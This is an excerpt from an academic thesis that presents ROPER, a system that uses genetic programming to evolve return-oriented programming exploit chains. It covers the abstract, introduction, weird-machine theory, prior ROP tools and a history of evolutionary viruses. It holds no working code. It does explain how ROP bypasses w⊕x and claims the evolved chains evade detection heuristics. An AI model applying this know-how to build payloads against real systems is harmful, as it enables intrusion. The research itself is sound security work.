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Abstract

Return-orientated programming (ROP) identifies pieces of a process’s executable

memory ending in a return instruction (gadgets), and enlists them as an instruc-

tion set in which a new, “parasitic” program can be written, hijacking the process’s

control flow. Since gadgets are already present in executable memory, there is no re-

liance upon memory being mapped as both writeable and executable, which lets the

ROP program (or “chain”) bypass the shellcode attack mitigation known as w ⊕ x.

As such ROP represents one of the most difficult exploit mechanisms to mitigate.

This thesis explores ROP-chain generation as a domain for evolutionary computa-

tion. It describes a system called ROPER (Return-Oriented Program Evolution with

ROPER), designed and implemented by the author, which orchestrates the evolution

of ROP-chains towards declaratively specified objectives. The author goes on to study

the behaviour and ecology of the ROP-chain populations generated by ROPER, and

their responses to various environmental pressures. Issues of importance include: 1)

establishing a robust environment for evolution to discover ROP solutions, 2) the de-

sign of variation operators, 3) emergent strategies for genomic resilience, and 4) the

role of speciation through fitness sharing. Case studies are performed using four very

different tasks representative of: 1) the functional objective of a bare bones exploit,

2) a supervised learning task, 3) policy discovery for an agent playing ‘Snake’, and

4) an “unwinnable” task in which fitness is gauged randomly, so that the effects of

non-selective pressures in the environment can be studied. Taken together this work

represents the first time that ROP evolution has been explicitly demonstrated (at

least in the public domain), and studied across a range of tasks.
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Invisigoth: Donald wrote an interlocked sequence of viruses 15

years ago. It got loose on the net.

Mulder: Wait, what do you mean, ‘got loose?’

Invisigoth: He let it loose . . . so it could evolve in its natural

environment. Urschleim in silicon.

Scully: ‘Urschleim in silicon?’

Invisigoth: The primordial slime? The ooze out of which all life

evolved. Except this time it’s artificial slime – artificial life...

William Gibson, "Kill Switch" (X-Files, season 5, episode 11)

1
Introduction

1.1 What is the aim of this research?

This thesis explores the use of evolutionary techniques in ROP. It details the de-

sign and implementation of an engine called ROPER, which employs the methods

of genetic programming (GP) to generate declaratively specified ROP payloads from

scratch, and walks through a series of experiments that establish the feasibility of this

approach. Since this is, to the best of my knowledge, the first time that evolutionary

techniques have been put to work in the field of return-oriented programming, my

intention is only to establish a proof of concept, rather than to advance the state of

the art in terms of performance and precision.1

1Unless we cast a null “state of the art” to zero, which is bad practice.
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1.2 Why is this interesting?

The “crafted input” by means of which a hacker controls the execution of an exploited

system is typically best understood as a sequence of instructions for a previously

unknown virtual machine, whose supervenience on the intended machine is accidental,

and often unknown before it is exploited. These payloads tend to be short, highly

constrained by contingent pressures, and forged from obscure and irregular materials.

These factors, which tend to greatly increase the ratio of difficulty to functionality

in payload implementation, for human programmers, also make the problem well

suited to evolutionary approaches. This, at least, was the intuition that sparked this

project. The hope is that by putting evolutionary techniques to work in this field,

we can better explore and understand the algorithmic wilderness that supervenes on

our machines, and gain a deeper sense of the possibilities harboured there.

1.3 Where can this work be applied?

The techniques developed here can quite viably be put to work in the field of offensive

cybersecurity, and be used to generate swarms of attack payloads whose diversity is,

for all intents and purposes, unbounded. The technology developed here could, with

minor adaptations,2 used to test and train intrusion detection systems (IDSs), or

provide one more instrument in the penetration tester’s toolbox.

1.4 Who is this for?

I hope that the work presented here may be of interest to newcomers to both low-

level exploit development and genetic programming, and to those who may have a

solid background in one but not the other. The work presented here shows how

problems drawn from the field of application security provide an extremely fertile

ground for evolutionary experimentation, which I believe is of interest in its own

right, independent of applications.

Of course, there’s nothing preventing the use of this technology by malicious

actors, and in this respect ROPER is in the same boat as any other product of security

research – the only defence against use by blackhats, after all, would be to ensure
2Discussed in §6.
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that the research is useless. This isn’t just an unavoidable aspect of security research,

it’s one of its essential motors. Without the endless arms race between attacker and

defender, between whitehat and blackhat, it’s unlikely we’d have even an sliver of the

understanding of our own abstractions – and of all their leaky concretizations – that

the concern for security demands. The harsh reality that any worthwhile development

in security can be picked up and studied by blackhats seeking to use, abuse, apply,

subvert, and exploit it, isn’t something we should shy away from or apologise for. It’s

the crucible in which our ideas and their implementations are tested, and a tireless

generator of new ideas in its own right. The economic and political fates of attackers

and defenders may rise and fall in the arena of applied cybersecurity, but the science

ratchets on, day and night. 3

That said, we should nevertheless take a moment to consider the risks posed by

the introduction of evolutionary malware, or any technology that could facilitate its

development, into the existing information security ecosystem.

I have decided to make the source code for this project available to the public,

warts and all, and place it under the GNU Public License (GPL). It can be accessed on

3In the immortal words of Pastor Manul Laphroaig [1]:

I must warn you to ignore this Black Hat/White Hat nonsense. As a Straw Hat, I
tell you that it is not the color of the hat that counts; rather, it is the weave. We
know damned well that patching a million bugs won’t keep the bad guys out, just
as we know that the vendor who covers up a bug caused by his own incompetence is
hardly a good guy. We see righteousness in cleverness, and we study exploits because
they are so damnably clever! It is a heroic act to build a debugger or a disassembler,
and the knowledge of how to do so ought to be spread far and wide. First, consider
the White Hats. Black Hats are quick to judge these poor fellows as do-gooders who
kill bugs. They ask, "Who would want to kill such a lovely bug, one which gives us
such clever exploits?" Verily I tell you that death is a necessary part of the ecosystem.
Without neighbours squashing old bugs, what incentive would there be to find more
clever bugs, or to write more clever exploits? Truly I say to the Black Hats, you have
recouped every dollar you’ve lost on bugfixes to the selective pressure that makes your
exploits valuable enough to sustain a market! Next, consider the Black Hats. White
Hat neighbors are so quick to judge these poor fellows, not so much for selling their
exploits as for hoarding their knowledge. A neighbor once said to me, "Look at these
sinners! They hide their knowledge like a candle beneath a basket, such that none can
learn from it." But don’t be so quick to judge! While it’s true that the Black Hats
publish more slowly, do not mistake this for not publishing. For does not a candle,
when hidden beneath a basket, soon set the basket alight and burn ten times as bright?
And is not self-replicated malware just a self-replicating whitepaper, written in machine
language for the edification of those who read it? Verily I tell you, even the Black Hats
have neighborliness to them. So please, shut up about hats and get back to the code.
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Github, at https://github.com/oblivia-simplex/roper, and freely experimented

with.

1.5 Synopsis

In Chapter 2, I set up some of the conceptual background for this study, exploring

the broader problems broached by ROP, and why it presents itself as an intriguing

problem domain for evolutionary computation, before surveying a handful of historical

efforts to enlist evolutionary techniques in offensive security and malware design, in

Chapter 3.

Chapter 4 introduces my contribution to research in the field of evolutionary

offensive security, with an overview of the design and implementation of a ROP

evolution engine called ROPER.

Chapter 5 goes over a handful of experimental studies with ROPER, and conse-

quent modifications to the design.

Chapter 6 lays out some directions for future work and study on this topic, and

brings this thesis to a conclusion.

4
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Between the idea

And the reality

Between the motion

And the act

Falls the Shadow

T.S. Eliot, "The Hollow Men"

2
Weird Machines and Return-Oriented

Programming

2.1 A Fundamental Problem of Cybersecurity

At the most elementary strata of computation – whether we are dealing with the

austere formalism of the lambda calculus, the ideal Von Neumann machine model, or

the various instruction set architectures that concretize it – the distinction between

data and code, on which so much of practical computing is founded, tends to fade

from view.1

But at any level where one computational system interfaces with another, “in the

real world”, the problem of imposing and maintaining this distinction is critical –

even, I would argue, the fundamental problem of cybersecurity. What we call data,

generally speaking, is information that one system (A) receives from another (B), or

1And, as we’ll see, machine models that appear to take such a distinction as primitive, such as
the Harvard Bus model, often only succeed in draping a thin and permeable veil between the two.
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the result of applying any sequence of transformations to that information. “Data”, in

other words, is just what flows from one system to another. Insofar as those systems

are meant to be distinct – with different capabilities, different access rights, and so

on – the notion of data is immediately bound up with those of security and trust. If

we are to have any assurances at all about the behaviour of system A, after all, A

must, by design, place some constraints on how it lets itself be steered by the data it

receives – unless, of course, it is intended to be a general programming environment.2

Data is just data, as opposed to “code”, only to the extent that such constraints hold.

Nothing makes this clearer than remote code execution (RCE) attacks, each of

which can be seen as a “proof by construction” that what we assumed to be “merely

data” was in fact code for a machine that we didn’t understand.3 In many such cases,

the breach occurs when the attacker slips past the intended interface and dispatches

instructions (performs state transitions) on one or more of the system’s “internal”

components. Take the classic Structured Query Language (SQL) injection attack,

for example. The attack succeeds when the attacker crafts the input data to the

system in such a way that the system interprets some portion of that data as code.

In the simplest cases, this may be done by inserting a single quotation mark in the

text provided to an input field. If this input is not safely parsed by the frontend,

then any text following the delimiting quote will be interpreted as additional SQL

instructions, and executed by the backend. The injected delimiter plays the role of an

unsuspected pivot between data and code, switching the context of the input string

to an SQL execution environment. Something similar happens in the classic style

of buffer overflow attack described in Aleph One’s famous textfile, “Smashing the

Stack for Fun and Profit” [2]. The pivot, in that case, is achieved by the attacker

supplying an input string that the vulnerable application writes to a buffer that has

not been allocated enough space to contain it. In many cases, this gives the attacker

the ability to write to stack memory “beneath” the ill-measured buffer. What makes

this dangerous is that, according to a certain, widely implemented abstract machine

2Of course, many programming language environments, usually in hopes of improving the se-
curity of the code developers write with them, do seek to constrain the freedom and power of the
programmer, in ways that, according to taste, range from elegant to irritating.

3I owe this formulation to Sergey Bratus.

6



model, which for lack of a better name,4 we could call the “structured programming

machine model (SPMM)”, the return address of each subroutine is often stored on

the stack as well, just a few words below the space where local variables are stored.

This lets the attacker control the return address, which can be redirected to another

region of the input data, where the attacker has encoded a sequence of machine code

instructions for the vulnerable system’s CPU. In these cases, and in many, many more,

the attacker succeeds in exploiting some oversight in the design or implementation of

the input handler, in such a way that the vulnerable system treats some portion of

the input just as it would treat its own code. In each of these cases, it’s possible to

distinguish two distinct moments:

1. the delivery mechanism, or “pivot”, of the attack, where the input “data” is

transubstantiated into “code” of some sort – the aberrant delimiter in the SQL

injection, and the corruption of the instruction pointer, in the case of the buffer

overflow, are both instances of this;

2. the “payload”, through which the hacker exercises fine-grained control over the

vulnerable system. In the case of the buffer overflow attack, this might be a

string of shellcode. In the case of the SQL injection, a sequence of one or more

SQL expressions or operations.

This is the general outlook that seems to motivate most defensive tactics in com-

puter security. Take, for instance, a tactic that has been widely deployed in an effort

to defend against shellcode attacks. These attacks play on the fact that, to the CPU,

“code” is wherever the the instruction pointer (IP) is pointing. The stack overflow

vulnerability detailed by Aleph One is one such delivery mechanism, but the gen-

eral strategy of feeding the vulnerable system machine code instructions in the form

of input data, and then redirecting the program counter so that it points to that

data, and executes it as code, has other forms as well – such as use-after-free attacks,

which may exploit a lack of coordination in heap memory management to overwrite

4I’ve seen it called “the C abstract machine model”, which comes close but which is overly specific.
I’m trying to point to something more concrete than an idealization like “the Von Neumann machine
model”, and more abstract than, say, “the System V ABI”.
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a virtual function pointer (an object method, for example) with a pointer to the at-

tacker’s shellcode. Defensive measures against these attacks typically follow one of

two prongs: either they inhibit the pivot stage, or they inhibit the payload.

With respect to the pivot stage, buffer overflow attacks can be prevented, piece-

meal, by carefully constraining the data that’s written to fixed-length buffers on the

stack (use strncpy() instead of strcpy(), etc.). The onus, in this case, falls on the

developer, or her linter. They can also be mitigated by the compiler, by inserting a

random string as a sort of tripwire between the writeable stack buffer and the return

address, such that any attempt to overwrite that portion of the stack would also cor-

rupt this randomized value or “stack canary”. Neither of these mitigations prevent a

block of malicious code that the attacker has written to memory from being executed,

should some other means of corrupting the instruction pointer become available.

The sort of attack that Aleph One describes could also be blocked by obstructing

the attacker’s ability to pass control to the payload, rather than their ability to achieve

the initial corruption of the instruction pointer. This is what is achieved, for example,

through what Windows natives call “Data Execution Prevention (DEP)”, and what

Unix dwellers call, a bit less pronounceably, “write xor execute (w⊕x)”, whereby the

memory pages of a running process may be mapped as writeable, or may be mapped

as executable, but may no longer be mapped as both.5 With this mitigation in place,

the attacker may succeed in corrupting the instruction pointer, and may succeed in

loading their attack code into memory, but is unable to pass control to the latter – an

instruction pointer dereferenced to a non-executable location in memory will result

in a segmentation fault (as Unixers call it) or an access violation error (as it’s known

in Windows). This may succeed in crashing the program, and thereby carrying out a

non-trivial denial-of-service (DoS) attack, but at no point does the attacker achieve

fine-grained control of the process.

There is another way of looking at all of this, which is both more general and more

fruitful. As hacker folklore is fond of repeating, what we call a system’s “code” is, in
5When Microsoft first introduced DEP into their products, with Windows XP Service Pack

2 (https://support.microsoft.com/en-us/kb/889741), they advertised it as “Protecting against
Buffer Overflows”, confusing a mitigation of the payload of the classical buffer-overflow-shellcode-
attack (which they delivered) with a mitigation of its pivot (which they did not). This was before
ROP attacks became well-known. Sergey Bratus points to this confusion as an illustration of the
following principle: we never really understand a security feature until we understand how to exploit
and subvert it [3].
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some sense, nothing but the specification of a state machine driven by the input data.6

As Halvar Flake explains, to write a program is to constrain the virtually boundless

potential of a general computer so as to have it emulate “a specific finite-state machine

that addresses your problem”. “The machine that address the problem,” he goes on,

is the intended finite state machine [. . . ]

The security properties of the intended finite state machine (IFSM) are

’what we want to be true’ for the IFSM. This is needed to define ’winning’

for an attacker: He wins when he defeats the security properties of the

IFSM.

Assuming that there has been no trivial misconfiguration of the IFSM, and that

it is, on its own particular level of abstraction, consistent, the attacker defeats those

security properties by ferreting out a leak in that abstraction, and tapping into a

reserve of computational power that the programmer had considered foreclosed by

the IFSM. This is done by first finding a way to access a state from the IFSM that

is not accounted for by the design. These are what Sergey Bratus [5] calls “weird

states”. (An example is the state that the CPU enters when its instruction pointer

has been overwritten by input.) This is what we have called the pivot of the attack.

“Once a weird state is entered”, Flake continues,

many other weird states can be reached by applying the transitions in-

tended for sane states on them. A new computational device emerges, the

“weird machine”. The weird machine is the computing device that arises

from the operation of the emulated transition of the IFSM on weird states.

. . . Given a method to enter a weird state from a set of particular sane

states, exploitation is the process of:

1. setup (choosing the right sane state)

2. instantiation (entering the weird state), and

3. programming of the weird machine

6“Any computing device that accepts input and reacts to this input by executing a different
program path can be viewed as a computing device where the inputs are the program” ([4]).
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so that security properties of the IFSM are violated.

The concept of a weird machine opens onto an extremely versatile and general

theory of exploitation, which will remain the backdrop for much of what follows.

2.2 Return and Jump Oriented Programming

It is due to a leaky abstraction of this nature, and an unswerving view of the under-

lying CPU from the perspective of application programmers and compilers, blinkered

by what Meredith Patterson has called “boundaries of competence” [6], that w ⊕ x

ultimately fails to prevent remote code execution. It fails because it is built on an

insufficiently general concept of code.

2.2.1 The Structured Programming Machine Model

According to this model, computation proceeds by iterating through a buffer of in-

structions in a designated segment of memory, using a designated register, the “pro-

gram counter” or “instruction pointer”, to track the location of the next instruction to

execute (we’ll call this the IP when referring to its abstract role, but its concretization

has different names on different architectures – EIP on x86, RIP on x86_64, the pro-

gram counter register (PC) on ARM, etc.) Each instruction prompts the processor

to mutate its state (its registers, memory, etc.) in some fashion. “Code” is wherever

IP points, and he instruction set is fixed by the architecture.

On this basis is implemented the procedural layer of abstraction, which the un-

derlying architecture is largely designed to accommodate. According to this layer,

a program is typically broken up into a collection of subroutines (or “functions”). A

subroutine is characterized by two essential properties:

1. it has a local variable scope, and

2. it can be run, or “called”, as a cohesive unit, with execution returning to the

place it is run from once it completes

Abstractly, both of these properties rely on the stack data structure. Both the

scopes, and the execution flow, of subroutines, is organized in a first-in-last-out fash-

ion.
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Interestingly, though they are conceptually distinct, the data stack and the exe-

cution stack are typically interleafed in practice.

This interleafing is orchestrated, on most modern architectures, by means of three

abstract registers: the stack pointer register (SP), the frame pointer register (FP), and

IP. On x64_64, these are implemented by RSP, RBP, and RIP, respectively. On ARM,

by SP/R13, FP/R12, and SP/R15. When a subroutine is called, the address of the next

instruction address in the calling routine is typically pushed onto the stack. (In some

cases a special register is used to hold the most recent return address – the top of the

abstract calling stack – as an optimization. This is the role of the link register register

(LR) on ARM. For nested subroutine calls, however, it’s necessary to fall back to a

stack structure. The FP is then used to mark the base of the scope of stack memory

that belongs to the subroutine. Any memory beyond FP is the subroutine’s own to

make use of, though this claim is abandoned when the subroutine returns. Returning

from a subroutine, in most cases, is just a matter of popping the return address from

the control stack, and loading it into the instruction pointer. On x64_64, this is

accomplished by the ret instruction, on ARM, by pop {pc}, and on MIPS by first

loading a register from the top of the stack, and then jumping to that register.

This is, of course, why an attacker can “smash the stack for fun and profit”.

Even if they must tailor their attack for a specific architecture, they are attacking a

vulnerability in the C virtual machine: that improperly handled writes to the data

stack can corrupt the control stack with which it is interleafed. The interleafing

makes accessible to the attacker the critical kind of weird states on which their attack

pivots. In executing this attack, the attacker violates the conceptual separation of

schematically interleafed control and data stacks, but otherwise remains within the

same basic abstract machine model. An elegant shellcode payload will even take care

to restore any corrupted registers, clear its own local stack, and return control to the

caller, as if nothing out of the ordinary had happened. The attacker is descending

to a lower level of abstraction, but not an entirely foreign one. It is a level already

implicit, and (leaks notwithstanding) encapsulated in the victim process.
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2.2.2 The ROP Virtual Machine

A ROP chain can be seen as a program written to run on a weird machine, which just

happens to supervene on the same process mobilized by the programmer’s machine

model, the process that is supposed to be executing a perfectly normal program. Let’s

call this a return-oriented virtual machine (ROVM).

Like the programmer’s machine model, the ROVM works by iterating through a

sequence of instructions, tracking the location of the next instruction by means of a

special registerr, and in the process mutates the CPU context. But the instruction

set used for this machine is not the instruction set targetted by its host. It is an

emergent instruction set, peculiar to the state of conventionally executable memory

at the time of the pivot. These instructions are called “gadgets”, and are composed

of chunks of data that is:

1. already mapped to executable memory – on Unix systems, this generally means

the .text section of the binary;

2. performs some mutation of CPU context when conventionally executed, and

3. returns control of execution flow to the attacker-supplied data after executing.

Trait #3 is typically satisfied by chosing gadgets that end with a return instruc-

tion, or some semantic equivalent – any combination of instructions that results in

a value from the stack being loaded into the instruction pointer. This can also be

accomplished by means of a combination of load and jump instructions, which gives

us “jump-oriented programming (JOP)”, or jump-oriented-programming, but the dif-

ference between JOP and ROP is not critical here, and for our purposes “ROP” will

be used to refer to both varieties. In general terms,

To be able to build a program from gadgets, they must be combinable.

Gadgets are combinable if they end in an instruction that, controlled

by the user, alters the control flow. Instructions which end gadgets are

named ’free branch’ instructions. A ’free branch’ instruction must satisfy

the following properties:

• The control flow must change at this instruction.
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• The target of the control flow must be controllable (free) such that

the input from a register or stack defines the target. [7]

The ROVM is, in some sense, an essentially parasitic, or supervenient, creature.

Its instruction set is cobbled together from chunks of machine code whose frequency

in the victim process is largely a result of the process’s intended code being crafted

with the procedural abstraction in mind.

This point is worth dwelling on for a moment, because it beautifully illustrates

the ingenuity of ROP. w⊕x, after all, prevents the data stack, which needs to remain

writeable by the process, from being used as a code buffer, the way it is in a shellcode

attack. But the schematic idea of code that w⊕x guards against is code as understood

by the programmer’s machine model. The ROVM is able to use the data stack as

a code buffer because it represents a change in perspective regarding what counts

as code, what counts as an instruction, and what counts as an instruction pointer.

Even when a strict separation of “data” and “code” is in place (via w⊕ x, and/or the

hardware restrictions imposed by a Harvard Bus architecture), the SPMM expects an

interleafing of the control and data stacks, and so cannot very well ban the presence

of code segment pointers from its stack, or prevent the loading of the pointer at the

top of its stack into its own designated instruction pointer. But these two factors

are all that are needed in order to superimpose the ROVM on top of the SPMM: we

don’t need to execute SPMM level instructions from the stack, we just need to be able

to use data on the stack to influence the execution of instructions, in a fine-grained

fashion. But this is just what the return instruction does, in the SPMM: it fetches

data from the top of the stack, maps that data to an address in its own code buffer,

and then executes the instructions it finds there, until it is instructed to fetch the

next pointer from its stack. In this way, the SPMM already implies the possibility

of the ROVM, which is its shadow. The SPMM’s interleafing of control stack and

data stack makes the principled separation of the writeable and the executable all

but futile, since the latter represents a true separation of code and data only if the

abstract machine model stays fixed.

To paraphrase Eliot: Between the programmer’s abstract machine model, and the

actual behaviour of the CPU, between the specification and the implementation, falls

the shadow.
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2.3 Prior Art: Exploit Engines and Weird Compilers

A handful of technologies have already been developed for the automatic generation

of ROP-chains. These range from tools that use one of several determinate recipes

for assembling a chain – such as the Corelan Team’s very handy mona.py 7 – to tools

We are aware of two such projects at the moment: Q [8], which is able to compile

instructions in a simple scripting language into ROP chains, and which has been

shown to perform well, even with relative small gadget sets, and ROPC, which grew

out of its authors’ attempts to reverse engineer Q, and extend its capabilities to the

point where it could compile ROP-chains for scripts written in a Turing-complete

programming language. 8 The latter has since spawned a fork that aims to use

ROPC’s own intermediate language as an LLVM backend, which, if successful, would

let programs written in any language that compiles to LLVM’s intermediate language,

compile to ROPC-generated ROP-chains as well.

Another, particularly interesting contribution to the field of automated ROP-

chain generation is Braille, which automates an attack that its developers term “Blind

Return-Oriented Programming”, or BROP [9]. BROP solves the problem of devel-

oping ROP-chain attacks against processes where not only the source code but the

binary itself in unknown. Braille first uses a stack-reading technique to probe a vul-

nerable process (one that is subject to a buffer overflow and which automatically

restarts after crashing), to find enough gadgets, through trial and error, for a simple

ROP chain whose purpose will be to write the process’s executable memory seg-

ment to a socket, sending that segment’s data back to the attacker – data that is

then used, in conjunction with address information obtained through stack-reading,

to construct a more elaborate ROP-chain the old-fashioned way. It is an extremely

interesting and clever technique, which could, perhaps, be fruitfully combined with

the genetic techniques I will outline here.

Several other tools exist that are intended to be use as guides in the construction

of ROP chains, and among these, PSHAPE stands out as being of particularly useful

and clever design [10]. PSHAPE not only harvests gadgets from a binary, but provides

7https://github.com/corelan/mona which approach the problem through the lens of compiler
design, running with the insight that the set of gadgets out of which we build ROP chains is, in fact,
the instruction set for a virtual machine, which can be treated as just another compiler target.

8https://github.com/pakt/ropc
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concise, semantic summaries of in the form of pre- and post-conditions, ranks and

filters them according to very pragmatic criteria of usefulness, and even helps uncover

various “heuristic breakers”, designed to evade detection by several common IDSes –

including the one developed by PSHAPE’s author, ROPocop.9

2.4 Prospects for Genetic ROP-chain Crafting

To the best of our knowledge, no attempt has yet been made to bring evolutionary

methods to bear on the problem of ROP-chain generation. For the curious hacker, this

alone is motive enough to try it, but even the most pragmatically minded offensive

security professional may find reason enough to pursue this line of inquiry. Subtlety

and unpredictability are the attacker’s allies, and these are rare qualities to be found

in a payload generated by the existing tools, which either rely excessively on long

sequences of short basic blocks, or a simple recipe book, in the chains they construct

(see [10]). The increasing sophistication of IDSes and RCE mitigations is creating a

defense landscape that may prove to be more hospitable to the alien, adaptive tactics

exhibited by evolutionary computation, than to fingerprintable attack recipes and

deterministic compilers.

The defender may also find value in this line of investigation. Although doing so

falls beyond the scope of this thesis, the interested researcher could follow Kayacik’s

lead [12] and engineer an evolutionary arms race between adaptive defence and attack

systems. Having a means of supplying the defending system with an endless source

of novel attack payloads places the defender system under a far richer source of

selective pressure, and could help stave off the threat of overfitting and insufficient

generalization, leading to a much more intelligent defence system.

Finally, this field of study may be of great interest to the evolutionary researcher.

It gives us a chance to study the dynamics of evolutionary computation in unco-

operative terrain, with recalcitrant materials. Absent are the smoothly carved and

task-optimized instruction set architectures (ISAs) used by most GP systems; here,

9Though this goes beyond the scope of this thesis, I’m willing to bet that the challenge of
heuristic breaking is one that ROPER would be able to navigate with ease. As we’ll see, even
without introducing heuristic- breaking as an explicit fitness goal, ROPER deftly subverts the most
common ROP detection heuristics – long sequences of short basic blocks are relatively uncommon
amongst ROPER’s champions – and it does this as a sheer evolutionary spandrel effect [11], without
any explicit adaptive advantage.
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we have a chance to observe how evolution fares with irregular and hazardous found

materials, instead. There is great ecological interest to be found in observing how

evolving populations of ROP chains behave, and in seeing how various obstacles are

navigated. This will become clear as we work through Chapter 5.
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The biological analogy was obvious; evolution would favor such

code, especially if it was designed to use clever methods of hiding

itself and using others’ energy (computing time) to further its own

genetic ends. So I wrote some simple code and sent it along in my

next transmission. Just a few lines in Fortran told the computer

to attach these lines to programs being transmitted to a certain

terminal. Soon enough – just a few hours – the code popped up

in other programs, and started propagating.

Gregory Benford, Afterword to "The Scarred Man"

3
Natural Selection Considered Harmful: A

Brief History of Evolutionary Computation

in Offensive Security

While evolutionary techniques have been more or less frequently employed in the

field of defensive security – where they are put to work much in the same way as

other machine learning algorithms, and built into next-generation firewalls, intrusion-

detection systems, and so on – there has been far less exploration of these techniques

in the realm of offensive security. This is not to say, however, that the idea has never

occurred to anyone – the idea seems to have captured the imagination of hackers,

malware engineers, and cyberpunk science fiction authors, ever since there have been

such things.
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3.1 Viruses and Evolutionary Computation

3.1.1 1969: Benford

The oldest occurrence of the concept of evolving, intrusive code that I was able to

excavate dates to sometime around 1969, in an experiment performed – and subse-

quently extrapolated into fiction – by the astrophysicist and science-fiction author,

Gregory Benford, during his time as a postdoctoral fellow at the Lawrence Radia-

tion Laboratory, in Livermore, California. “There was a pernicious problem when

programs got sent around for use: ‘bad code’ that arose when researchers included

(maybe accidentally) pieces of programming that threw things awry,” Benford recalls

of his time at the LRL.

One day [in 1969] I was struck by the thought that one might do so

intentionally, making a program that deliberately made copies of itself

elsewhere. The biological analogy was obvious; evolution would favor such

code, especially if it was designed to use clever methods of hiding itself and

using others’ energy (computing time) to further its own genetic ends. So

I wrote some simple code and sent it along in my next transmission. Just

a few lines in Fortran told the computer to attach these lines to programs

being transmitted to a certain terminal. Soon enough – just a few hours

– the code popped up in other programs, and started propagating.

Benford’s experiments unfolded in relative obscurity, apart from inspiring a short

story that he would publish in the following year, entitled “The Scarred Man”. As far

as we can tell, however, the invocation of “evolution” remained entirely analogical,

and did not signal any rigorous effort to implement Darwinian natural selection in

the context of self-reproducing code. It was nevertheless an alluring idea, and one

that would reappear with frequency in the young craft of virus programming.

3.1.2 1985: Cohen

Though anticipated by over a decade of scattered experiments, the concept of “com-

puter virus” made its canonical entrance into computer science in the 1985 disserta-

tion of Fred Cohen, at the University of Southern California, Computer Viruses [13].
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Computer Viruses is a remarkable document. Not only does it provide the first rigor-

ously formulated – and formalized – concept of computer virus, which Cohen appears

to have discovered independently of his predecessors (whose work was confined to

obscurity and fiction), explore that concept at the highest possible level of generality,

in the context of the Turing Machine formalism, develop an elegant order-theoretic

framework for plotting contagion and network integrity, leverage language-theoretic

insights to subvert then-hypothetical anti-virus software through Gödelian diagonal-

ization, and suggest a number of defenses, such as the cryptographic signing of exe-

cutables, which are still used today, it also hints – elliptically – at the potential for

viral evolution. At first glance, what Cohen calls the evolution of a virus resembles

what would later be called polymorphism or even metamorphism – the process of

altering the syntactic structure of the pathogen in the course of infection, so that

the offspring is not simply a copy of the parent. This is indeed enough to expose the

virus to a certain amount of differential selective pressure, so long as antiviral software

(the virus’s natural predator) pattern matches on the virus’s syntactic structure (the

precise sequence of opcodes used), or on some low-level features on which the syntax

supervenes (one or more bitwise hashes of the virus, for example). But Cohen goes a

step further than this, and considers a far broader range of infection transformations

that do not preserve semantic invariants. That is to say, he considers reproduction op-

erators – operators embedded in the virus itself, which, following Spector [14], we can

call “autoconstructive operators” – which generate semantically dissimilar offspring.

Cohen thus deploys all the essential instruments for an evolutionary treatment of

viruses:

1. reproduction with variation (the “genetic operators”)

2. selection (detection by recognizers, or “antivirus” software)

3. differential survival (there is no recognizer that can recognize every potential

virus, as a corollary of Rice’s theorem [15])

He goes no further in systematizing this dimension of the problem, unfortunately,

and nowhere in this text do we find anything that either draws on or converges with

contemporaneous research into evolutionary computation as a mechanism for program

discovery or artificial intelligence.
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Cohen can hardly be blamed for this, of course. The dissertation as it stands is

a work of rare ambition and scope. The casual observer of virus research and devel-

opment over the past three decades, however, might be surprised by the impression

that so little has been done to bridge the distance that lay between it and study

of evolutionary computation. While the rhetoric surrounding the study of computer

viruses remained replete with references to evolution, to ecology, to natural selection,

and so on, efforts to actually integrate the two fields appear to have been rare.

This impression is not wholly accurate, however. Closer study shows us that the

experimental fringe of the virus writing (VX) scene has indeed retained an interest

in exploring the use of genetic methods in their work. If this has gone relatively

unnoticed by the security community, this is likely for one or two reasons:

1. the virus writers (VXers) who have implemented genuinely evolutionary meth-

ods in their work seem to be motivated primarily by hacker’s curiosity and not

by monetary gain. The viruses they write are intended to be more playful than

harmful, and it appears that several of the evolutionary viruses I have found

were sent directly by their authors to antivirus researchers, or published, along

with source code and documentation, on publicly accessible websites and VXer

ezines.

2. Of course, we should consider the non-negligible selection effect implied in rea-

son #1: it’s not surprising that the viruses that I was able to find in the course

of writing this chapter are those circulated by the grey-hat VXer community, as

opposed to those developed, or contracted, by intelligence agencies and crimi-

nal syndicates, who tend to hold somewhat more stringent views on matters of

intellectual property. And so a second, plausible-enough explanation presents

itself: it is possible that far less playful evolutionary viruses do exist in the

wild, but that they tend to either go undetected, are used primarily for target-

ted operations less exposed to the public, or that they are not being properly

recognized or reported in the security bulletins released by the major antivirus

companies.
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3.1.3 Nonheritable Mutations in Virus Ontogeny

For reasons of stealth, virus writers have explored ways of incorporating variation into

their mechanisms of infection and replication. The first trick to surface was simple

encryption, employed for the sake of obfuscation rather than confidentiality. This

first became widely known with the Cascade virus, circa 1988 [16]. Viruses using

this obfuscation method would encrypt their contents using variable keys, so that

the bytewise contents of their bodies would vary from transmission to transmission.

The encryption engine itself, however, would remain unencrypted and exposed, and

so antiviral software simply looked for recognizable encryptors instead.

Next came oligomorphic viruses, starting with Whale in 1990 [17]. These would

use one of a fixed set of encryption engines, adding some variability to the mix. This

would make the problem of detection some 60 or 90 times harder, depending on the

number of engines, but such distances are easily closed algorithmically.

Next came polymorphic engines, which would scramble and rebuild their own en-

cryption engine with each transmission, while preserving all the necessary semantic

invariants. The antivirus developers countered by running suspicious code in emula-

tors, waiting until the body of the virus was decrypted before attempting to classify

it.

The last and most interesting development in this (pre-genetic) sequence rests

with metamorphic viruses, which redirected the combinatorial treatment that poly-

morphics reserved for the encryption engine onto the virus body as a whole. There

was no longer any need for encryption, strictly speaking, since the purpose of encryp-

tion in polymorphism is to obfuscate, not to lock down, and this allowed viruses to

avoid any reliance on the already somewhat suspicious business of decrypting their

own code before running.

In biological terms, what we’re seeing with both polymorphic and metamorphic

viruses is a capacity for ontogenetic variation. While it is possible for the results of

metamorphic transformations to accumulate over generations, in most cases (unless

there are bugs in the metamorphic engine), these changes are semantically neutral,

and do not affect the functionality of the code (though this raises a subtle point

regarding what we are to count as ’functionality’, especially when faced with detectors

that turn syntactic quirks and timing sidechannels into a life-or-death matter for the
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virus). They are also, in general, reversible, forming a group structure. So long as

they are not subjected to selective pressure, and complex path-dependencies don’t

form, the ’evolution’ of a metamorphic virus typically has the form of a random walk.

It is nevertheless evident how close we are to an actual evolutionary process.

3.1.4 2002: MetaPHOR

In 2002, Mental Driller developed and released a virus that bridged the gulf between

metamorphic viruses and a new variety of viruses that could be called “genetic”.

MetaPHOR1 is a highly sophisticated metamorphic virus, capable of infecting binaries

on both Linux and Windows platforms. Written entirely in x86 assembly, it includes

its own disassembler, intermediate pseudo-assembly language, and assembler, as well

as a complex metamorphic and encryption engines. Its metamorphic engine mutates

